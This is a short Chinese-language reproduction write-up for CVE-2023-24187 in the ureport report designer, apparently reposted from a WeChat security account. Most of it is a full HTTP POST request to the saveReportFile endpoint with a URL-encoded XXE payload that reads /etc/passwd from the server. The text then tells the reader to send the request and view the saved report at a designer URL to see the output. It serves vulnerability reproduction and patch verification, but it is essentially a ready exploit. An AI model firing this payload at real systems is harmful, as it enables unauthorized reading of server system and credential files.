ureport-CVE-2023-24187漏洞

复现CVE-2023-24187

只要存在该页面就可以尝试复现该漏洞

按照箭头保存的时候进行抓包

POST /ureport/designer/saveReportFile HTTP/1.1

Host: xxxx

Accept: */*

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE+x+%5B+%3C!ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2F/etc/passwd%22%3E%5D%3E%3Cureport%3E%3Ccell+expand%3D%22None%22+name%3D%22A1%22+row%3D%221%22+col%3D%221%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22B1%22+row%3D%221%22+col%3D%222%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22C1%22+row%3D%221%22+col%3D%223%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22D1%22+row%3D%221%22+col%3D%224%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22A2%22+row%3D%222%22+col%3D%221%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22B2%22+row%3D%222%22+col%3D%222%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22C2%22+row%3D%222%22+col%3D%223%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22D2%22+row%3D%222%22+col%3D%224%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22A3%22+row%3D%223%22+col%3D%221%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22B3%22+row%3D%223%22+col%3D%222%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22C3%22+row%3D%223%22+col%3D%223%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%3C!%5BCDATA%5B%5D%5D%3E%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Ccell+expand%3D%22None%22+name%3D%22D3%22+row%3D%223%22+col%3D%224%22%3E%3Ccell-style+font-size%3D%2210%22+align%3D%22center%22+valign%3D%22middle%22%3E%3C%2Fcell-style%3E%3Csimple-value%3E%26xxe%3B%3C%2Fsimple-value%3E%3C%2Fcell%3E%3Crow+row-number%3D%221%22+height%3D%2218%22%2F%3E%3Crow+row-number%3D%222%22+height%3D%2218%22%2F%3E%3Crow+row-number%3D%223%22+height%3D%2218%22%2F%3E%3Ccolumn+col-number%3D%221%22+width%3D%2280%22%2F%3E%3Ccolumn+col-number%3D%222%22+width%3D%2280%22%2F%3E%3Ccolumn+col-number%3D%223%22+width%3D%2280%22%2F%3E%3Ccolumn+col-number%3D%224%22+width%3D%2280%22%2F%3E%3Cpaper+type%3D%22A4%22+left-margin%3D%2290%22+right-margin%3D%2290%22%0A++++top-margin%3D%2272%22+bottom-margin%3D%2272%22+paging-mode%3D%22fitpage%22+fixrows%3D%220%22%0A++++width%3D%22595%22+height%3D%22842%22+orientation%3D%22portrait%22+html-report-align%3D%22left%22+bg-image%3D%22%22+html-interval-refresh-value%3D%220%22+column-enabled%3D%22false%22%3E%3C%2Fpaper%3E%3C%2Fureport%3E&file=oracle%3Ab.ureport.xml

只需要修改content中的内容就可以了,标红的是抓取保存的文件的名称。

发包

http://xxxx.com/ureport/designer?_u=oracle:b.ureport.xml

标红的地方是文件名

原文链接

https://github.com/Venus-WQLab/bug_report/tree/main/ureport

原文始发于微信公众号（黑熊安全）：ureport-CVE-2023-24187漏洞